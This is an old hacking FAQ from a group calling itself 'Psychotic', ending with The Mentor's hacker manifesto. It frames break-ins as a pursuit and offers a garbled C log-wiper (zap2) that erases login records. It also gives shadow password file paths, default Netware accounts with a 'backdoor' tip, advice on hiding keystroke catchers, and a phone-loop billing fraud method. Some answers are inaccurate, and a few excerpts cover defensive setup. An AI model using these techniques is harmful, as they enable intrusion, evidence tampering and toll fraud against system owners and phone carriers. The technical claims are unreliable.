Q. What is hacking? A. Hacking is the art of breaking into computers to gain knowledge that our society has hidden from us. Hacking is illegal and the government spend lots of money each year to have hackers arrested…..when they should be spending the money on more important issues. Q. What is a shadowed password? A. A shadowed password is a cover for the real password file. It shows that the real password is hidden somewhere else. Q. How do I crack shadowed passwords? A. Cracking a shadowed password file is impossible. Assuming that you got the password file via anonymous ftp. You should try connecting to port 25 and doing the sendmail bug. Q. What is the difference between an encrypted password and a shadowed password? A. An encrypted password is just the real password scrambled and changed. It can be cracked with a password cracked and a word file. A shadowed password hides the encrypted password somewhere else other than the etc. dir. Q. Where can I find the password file if it’s shadowed? A. Unix Path Token —————————————————————– AIX 3 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * Q. Where is the password file located? A. The password file is located in the etc/passwd dir. You can get into the etc dir by logging on to the domain via anonymous ftp. Q. What is an exploit? A. An exploit is something that exploits unix or another kind of OS. You usually use exploits to gain root or high access to a system. They can prove to be very handy. Q. What are some basic telnet commands? A. Below is a list of common telnet commands. Command Function access Telnet account c Connect to a host cont Continue d Disconnect full Network echo half Terminal echo hangup Hangs up mail Mail set Select PAD parameters stat Show network port. telemail Mail Q. How do I get out of the log file? A. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include #include #include #include #include #include #include #include #define WTMP_NAME “/usr/adm/wtmp” #define UTMP_NAME “/etc/utmp” #define LASTLOG_NAME “/usr/adm/lastlog” int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf(“%s: ?\n”,who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf(“Zap2!\n”); } else printf(“Error.\n”); } Q. What is DNIC? A. A DNIS says which network connect to the telnet you are using. Q. What is NUA? A. The NUA is the address of the computer on telnet. Q. What is a VAX/VMS? A. A vax/vms is Digital Equipment’s major computer line. It’s proprietary operating system is known as vms. Q. What is telnet? A. Telnet is a program which lets you log in to other computers on the net. Q. What is an anonymous remailer? A. An anonymous remailer is a system on the Internet that allows you to send e-mail anonymously or post messages to Usenet anonymously. You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer. Q. What is PGP? A. This FAQ answer is excerpted from: PGP(tm) User’s Guide Volume I: Essential Topics by Philip Zimmermann PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you’ve never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design. Pretty Good(tm) Privacy (PGP), from Phil’s Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people toexchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called “public key” cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses. Q. What is tcp/ip? A. Tcp/ip is the system networks use to communicate with each other. It stands for Transmission Control Protocol/Internet Protocol. Q. What is a virus? A. A Virus is a program which reproduces itself. It may attach itself to other programs, it may create copies of itself. It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some Viruse scanners detect some Viruses. No Virus scanners detect all Viruses. Virus scanners will work for a while but people are always creating virii that will beat them. Q. What is a trojan? A. A trojan is a program which does an unauthorized function, hidden inside an authorized program. It does something other than it claims to do, usually something malicious, and it is intended by the author to do whatever it does. If it is not intentional, it is called a bug. Q. What is a worm? A. Worms are programsthat copy themselves over and over using up space and slowing down the system. They are self contained and use the networks to spread, in much the same way that Viruses use files to spread. Some people say the solution to Viruses and worms is to just not have any files or networks. Q. What do I need to become a hacker? A. You should start off with a good scanner, some dialups, a telnet client, and some knowladge of hacking. Those are the basic things that you will need. If you are serious about hacking then you should get Unix, or Linux(smaller, free version of unix). Q. What are some common accounts for Novell Netware? A. Below is a list of commonly used accounts for Novell Netware. Account Purpose ———- —————————————————— PRINT Attaching to a second server for printing LASER Attaching to a second server for printing HPLASER Attaching to a second server for printing PRINTER Attaching to a second server for printing LASERWRITER Attaching to a second server for printing POST Attaching to a second server for email MAIL Attaching to a second server for email GATEWAY Attaching a gateway machine to the server GATE Attaching a gateway machine to the server ROUTER Attaching an email router to the server BACKUP May have password/station restrictions (see below), used for backing up the server to a tape unit attached to a workstation. For complete backups, Supervisor equivalence is required. WANGTEK See BACKUP FAX Attaching a dedicated fax modem unit to the network FAXUSER Attaching a dedicated fax modem unit to the network FAXWORKS Attaching a dedicated fax modem unit to the network TEST A test user account for temp use ARCHIVIST Palidrome default account for backup CHEY_ARCHSVR An account for Arcserve to login to the server from from the console for tape backup. Version 5.01g’s password was WONDERLAND. Delete the Station Restrictions and use SUPER.EXE to toggle this account and you have an excellent backdoor. WINDOWS_PASSTHRU Although not required, per the Microsoft Win95 Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you need this for resource sharing without a password. Q. How can I gain supervisor access to Novell Netware? A. Taken from the Novell Netware FAQ. The secret method is the method of using a DOS-based sector editor to edit the entry in the FAT, and reset the bindery to default upon server reboot. This gives you Supervisor and Guest with no passwords. The method was taught in case you lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed. Q. How do I access the password file for Novell? A. access to the password file in Netware is not like Unix – the password file isn’t in the open. All objects and their properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS database in 4.x. An example of an object might be a printer, a group, an individual’s account etc. An example of an object’s properties might include an account’s password or full user name, or a group’s member list or full name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden and System, and these files are located on the SYS: volume in the SYSTEM subdirectory. Their names are as follows: Netware version File Names ————— ———- 2.x NET$BIND.SYS, NET$BVAL.SYS 3.x NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located in 2.x and 3.x respectively. Q. How do I crack a Novell password? A. Taken from the Novell Netware Hack FAQ. If Intruder Detection is off, you can use a “brute force” password cracker. Encrypted passwords is Novell’s way of protecting passwords from sniffers. Since older versions of Netware (2.15c) sent passwords as plain text over the wire, a sniffer could see the password as it went by. To secure things, Novell gave the administrator a way to control this. Later versions of the LOGIN.EXE program would encrypt the password before transmitting it across the wire to the server. But before this could happen, the shell (NETX) had to be updated. Since some locations had to have older shells and older versions of LOGIN.EXE to support older equipment, the administrator has the option of allowing unencrypted passwords to access the server. This is done by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping the server console every attempt! Fortunately most sites turn this switch on to support some old device. If you have access to the console, either by standing in front of it or by RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset passwords. Just load the NLM and pass it command line parameters: NLM Account(s) reset Netware version(s) supported ———— —————– —————————- SETSPASS.NLM SUPERVISOR 3.x SETSPWD.NLM SUPERVISOR 3.x, 4.x SETPWD.NLM any valid account 3.x, 4.x If you can plant a password catcher or keystroke reader, you can get them this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and normally you will not have access to put a file in that directory. The best place to put a keystroke capture program is in the workstation’s path, with the ATTRIB set as hidden. The advantage is that you’ll get the password and Netware won’t know you swiped it. The disadvantage is getting access to the machine to do this. The very best place to put one of these capture programs is on a common machine, like a pcAnywhere box, which is used for remote access. Many locations will allow pcAnywhere access to a machine with virtually no software on it, and control security access to the LAN by using Netware’s security features. Uploading a keystroke capture program to a machine like this defeats this. Q. What are the domain codes? A. Below is the current list of domain codes.

Q. How do I make a box? A. Each box has a sepperate plan to set it up. Just do a netsearch for phreaking or boxes and you can find all the plans you need. Q. What is a loop? A. This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a ‘high’ end, and a ‘low’ end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don’t usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won’t pass anything but a constant tone; these aren’t much use to you. Here’s what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it … say “Hello”, “Allo”, “Chow”, “Yo”, or what the fuck ever. The operator thinks that she just called you, and that’s it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don’t want to give your phone number. Q. How do I set up an anonymous FTP? A. Taken from the Internet Security Systems, Inc. text on setting up an anonymous ftp. – 1.Build a statically linked version of ftpd and put it in ~ftp/bin. Make sure it’s owned by root. – 2.Build a statically linked version of /bin/ls if you’ll need one. Put it in ~ftp/bin. If you are on a Sun, and need to build one, there’s a ported version of the BSD net2 ls command for SunOs on http://ftp.tis.com: pub/firewalls/toolkit/patches/ls.tar.Z Make sure it’s owned by root. – 3.Chown ~ftp to root and make it mode 755 THIS IS VERY IMPORTANT – 4.Set up copies of ~ftp/etc/passwd and ~ftp/etc/group just as you would normally, EXCEPT make ‘ftp’s home directory ‘/’ — make sure they are owned by root. – 5.Write a wrapper to kick ftpd off and install it in /etc/inetd.conf The wrapper should look something like: (assuming ~ftp = /var/ftp) main() { if(chdir(“/var/ftp”)) { perror(“chdir /var/ftp”); exit(1); } if(chroot(“/var/ftp”)) { perror(“chroot /var/ftp”); exit(1); } /* optional: seteuid(FTPUID); */ execl(“/bin/ftpd”,”ftpd”,”-l”,(char *)0); perror(“exec /bin/ftpd”); exit(1); } Options: You can use ‘netacl’ from the toolkit or tcp_wrappers to achieve the same effect. We use ‘netacl’ to switch so that a few machines that connect to the FTP service *don’t* get chrooted first. This makes transferring files a bit less painful. You may also wish to take your ftpd sources and find all the places where it calls seteuid() and remove them, then have the wrapper do a setuid(ftp) right before the exec. This means that if someone knows a hole that makes them “root” they still won’t be. Relax and imagine how frustrated they will be. If you’re hacking ftpd sources, I suggest you turn off a bunch of the options in ftpcmd.y by unsetting the “implemented” flag in ftpcmd.y. This is only practical if your FTP area is read-only. – 6.As usual, make a pass through the FTP area and make sure that the files are in correct modes and that there’s nothing else in there that can be executed. – 7.Note, now, that your FTP area’s /etc/passwd is totally separated from your real /etc/passwd. This has advantages and disadvantages. – 8.Some stuff may break, like syslog, since there is no /dev/log. Either build a version of ftpd with a UDP-based syslog() routine or run a second syslogd based on the BSD Net2 code, that maintains a unix-domain socket named ~ftp/dev/log with the -p flag. Q. What are some ways I can secure a network? A. Taken from the Internet Security Systems text on securing a network. 1. Well first of all you should know what type of resources that you’re trying to protect: CPU, files, storage devices phone lines, etc… 2. Determine the host-specific security measures needed. Password protection, file encryption, firewall, etc… Determine who the computer systems must be defended. Determine the likelihood of a threat. Implement measures to protect network resource. 3. Consider the corporate budget when planning for Internet Security. 4. Design a Security Policy that describes your organization’s network security concerns. This policy should take into account the following: Network Security Planning Site Security Policy Risk Analysis Risk analysis involves determining the following: What you need to protect What you need to protect it from How to protect it Estimating the risk of losing the resource Estimating the importance of the resource 5. Consider the following factors to determine who will grant access to services on your networks: Will access to services be granted from a central point? What methods will you use to create accounts and terminate access? 6. Design and Implement Packet Filter Rules 7. Ensure your Firewall has the following properties: All traffic from inside to outside, as well as outside to inside must pass through the firewall. Allow only authorized traffic as defined by your corporate security policy be passed through the firewall. Ensure the firewall is immune to penetration. 8. Educate users about password protection: Educating users not to use passwords that are easy to guess. Ensuring the password lengths are adequate. Running a password guesser. Requiring the use of a password generator. Always using a mixture of upper- and lowercase characters. Always using at least one or two non-alphanumeric characters. Never using dictionary words or ones spelled backwards. Never using a portion or variation of a proper name, address or anything that could obviously identify you (the user). 9. Security-related organizations play an integral role in the development and deployment of Internet technologies. Keep abreast of the latest in security-related activities by visiting their Web sites. Here are some key security-rated organizations which aid corporations such as yours in keeping the Internet a safer place to compute: ACM/SIGSAC at gopher://gopher.acm.org/.

A firewall is a system or group of systems that enforces an access control policy between two networks. The actual means by which this is accomplished varies widely, but in principle, the firewall can be thought of as a pair of mechanisms: one which exists to block traffic, and the other which exists to permit traffic. Some firewalls place a greater emphasis on blocking traffic, while others emphasize permitting traffic. Probably the most important thing to recognize about a firewall is that it implements an access control policy. If you don’t have a good idea what kind of access you want to permit or deny, or you simply permit someone or some product to configure a firewall based on what they or it think it should do, then they are making policy for your organization as a whole. Q. How can I use PGP to benefit me? A. PGP is easy to use, it does give you enough rope so that you can hang yourself. You should become thoroughly familiar with the various options in PGP before using it to send serious messages. For example, giving the command pgp -sat will only sign a message, it will not encrypt it. Even though the output looks like it is encrypted, it really isn’t. Anybody in the world would be able to recover the original text. Q. What is a sniffer? A. Taken from the Sniffer FAQ. Unlike telephone circuits, computer networks are shared communication channels. It is simply too expensive to dedicate local loops to the switch (hub) for each pair of communicating computers. Sharing means that computers can receive information that was intended for other machines. To capture the information going over the network is called sniffing. The most popular way of connecting computers is through ethernet. Ethernet protocol works by sending packet information to all the hosts on the same circuit. The packet header contains the proper address of the destination machine. Only the machine with the matching address is suppose to accept the packet. A machine that is accepting all packets, no matter what the packet header says, is said to be in promiscuous mode. Because, in a normal networking environment, account and password information is passed along ethernet in clear-text, it is not hard for an intruder once they obtain root to put a machine into promiscuous mode and by sniffing, compromise all the machines on the net. Q. What is Psychotic? A. I would describe Psychotic as more of a proffessional group rather than just a hacking clan. We think about money first and hacking second, even though I’m sure that most of you have seen a few of our hacking projects… Q. Is psychotic looking for new members? A. Well as of now we aren’t looking for any additions to our staff, but stay posted we might decide that we need new members. Q. What is Psychosis? A. Psychosis is a personal project taken up by Virtual Circuit. It’s an award that he gives out to hackers that have done something to stand out(good webpage, revealed exploits, etc.). If you think that you should receive the award you can mail him about it. But I can tell you now that the award isn’t easy to get. Q. What is the “Devil’s Gateway?” A. The “Devil’s Gateway” is a personal project taken up by VooDooHex. It’s kind of like an information retrival guild, but yet it’s still like a group. If you are interested in joining the Devil’s Gateway you should mail VooDoo about it. Q. Where can I find some good resources on hacking and phreaking? A. Well we aren’t much for links but you should check the Psychosis page for his webpage award winners. He picks only the best. Q. Who are all the members in Psychotic? A. We would like to stay anonymous. But you will see a members name every now and then. Q. What are Psychotic’s offered services? A. Psychotic has many different services, security testing, webpage design, graphic design, sponsoring, pop accounts, and webpage hosting. Each service has a different price. You can read more about our services on the services section of the page. This is only the fisrt copy of our FAQ. We will be updating and adding information and questions to it as often as possible. I would appriciate if you would distribute and spready this text as much as you can. We don’t want people asking us these questions anymore. Have fun and keep the underground alive. Another one got caught today, it’s all over the papers. “Teenager Arrested in Computer Crime Scandal”, “Hacker Arrested after Bank Tampering”… Damn kids. They’re all alike. But did you, in your three-piece psychology and 1950’s technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world… Mine is a world that begins with school… I’m smarter than most of the other kids, this crap they teach us bores me… Damn underachiever.They’re all alike. I’m in junior high or high school. I’ve listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. “No, Ms. Smith, I didn’t show my work. I did it inmy head…” Damn kid. Probably copied it. They’re all alike. I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it’s because I screwed it up. Not because it doesn’t like me… Or feels threatened by me.. Or thinks I’m a smart ass.. Or doesn’t like teaching and shouldn’t be here… Damn kid. All he does is play games. They’re all alike. And then it happened… a door opened to a world… rushing through the phone line like heroin through an addict’s veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought… a board is found. “This is it… this is where I belong…” I know everyone here… even if I’ve never met them, never talked to them, may never hear from them again… I know you all… Damn kid. Tying up the phone line again. They’re all alike… You bet your ass we’re all alike… we’ve been spoon-fed baby food at school when we hungered for steak… the bits of meat that you did let slip through were pre-chewed and tasteless. We’ve been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert. This is our world now… the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn’t run by profiteering gluttons, and you call us criminals. We explore… and you call us criminals. We seek after knowledge… and you call us criminals. We exist without skin color, without nationality, without religious bias… and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it’s for our own good, yet we’re the criminals. Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker, and this is my manifesto. You may stop this individual,but you can’t stop us all… after all, we’re all alike. +++The Mentor+++
